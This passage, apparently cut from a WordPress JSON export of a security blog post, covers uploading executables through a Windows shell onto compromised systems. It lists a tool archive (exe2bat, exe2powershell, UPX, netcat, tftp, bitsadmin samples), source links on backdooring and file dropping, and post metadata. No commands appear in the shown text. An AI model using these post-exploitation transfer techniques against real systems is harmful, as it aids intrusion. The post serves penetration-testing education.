:\u00a0binaries\n<ul>\n<li>exe2bat.exe<\/li>\n<li>exe2powershell.exe<\/li>\n<li>upx.exe<\/li>\n<\/ul>\n<\/li>\n<li><strong>sample<\/strong> : all the tools presented, in their original form, UPX compressed, converted with exe2bat and exe2powershell\n<ul>\n<li>bitsadmin\/<\/li>\n<li>cscript\/<\/li>\n<li>ftp\/<\/li>\n<li>ftpit\/<\/li>\n<li>hget\/<\/li>\n<li>nc\/<\/li>\n<li>rcp\/<\/li>\n<li>tftp\/<\/li>\n<li>wget\/<\/li>\n<\/ul>\n<\/li>\n<li><strong>src<\/strong> :\u00a0exe2bat and exe2powershell source-code\n<ul>\n<li>exe2bat\/<\/li>\n<li>exe2powershell\/<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>If other methods are known to you, even if they are &#8220;old school&#8221; or news, please indicate to me that I can add them\u00a0in this article.<\/p>\n<p><strong>Sources &amp; resources :<\/strong><\/p>\n<ul>\n<li><a href=\"http:\/\/ly0n.me\/2015\/10\/21\/uploading-files-to-compromised-systems\/\" target=\"_blank\">Uploading files to compromised systems &#8211; ly0n.me<\/a><\/li>\n<li><a href=\"http:\/\/www.hackfest.ca\/en\/2010\/non-interactive-shell-uploading-files-and-other-parlor-tricks\" target=\"_blank\">Non-Interactive Shell, Uploading files and other parlor tricks &#8211; HackFest.ca<\/a><\/li>\n<li><a href=\"https:\/\/www.0x0ff.info\/2013\/4-methodes-pour-charger-des-executables\/\" target=\"_blank\">4 m\u00e9thodes pour charger des ex\u00e9cutables &#8211; 0x0ff.info<\/a><\/li>\n<li><a href=\"http:\/\/www.governmentsecurity.org\/forum\/topic\/14768-something2bat\/\" target=\"_blank\">Government Security &#8211; Something2bat<\/a><\/li>\n<li><a href=\"http:\/\/www.exploit-monday.com\/2011\/09\/dropping-executables-with-powershell.html\" target=\"_blank\">Dropping Executables with Powershell &#8211; Exploit-Monday<\/a><\/li>\n<li><a href=\"https:\/\/superuser.com\/questions\/25538\/how-to-download-files-from-command-line-in-windows-like-wget-is-doing\" target=\"_blank\">How to download files from command line in Windows, like Wget is doing? &#8211; SuperUser.com<\/a><\/li>\n<li><a href=\"https:\/\/www.greyhathacker.net\/?p=500\" target=\"_blank\">Ways to Download and Execute code via the Commandline &#8211; GreyHatHacker.net<\/a><\/li>\n<li><a href=\"http:\/\/ezine.echo.or.id\/issue30\/007.txt\" target=\"_blank\">Art of backdooring &#8211; Arief Tirtana<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>How to upload \/ transfer a file through a shell \/ terminal DOS on Windows? There is no &#8220;wget&#8221; easy [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1898,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,165,14,167],"tags":[446,443,448,447,450,444,442,449,34,445,441],"class_list":["post-1866","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administration-reseaux-et-systemes","category-os","category-vuln-exploit-poc","category-windows","tag-bitsadmin","tag-cscript-exe","tag-debug-exe","tag-exe2bat","tag-exe2powershell","tag-ftp-exe","tag-nc-exe","tag-powershell","tag-shell","tag-tftp-exe","tag-upload"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1866","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=1866"}],"version-history":[{"count":32,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1866\/revisions"}],"predecessor-version":[{"id":1932,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1866\/revisions\/1932"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1898"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=1866"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=1866"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=1866"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}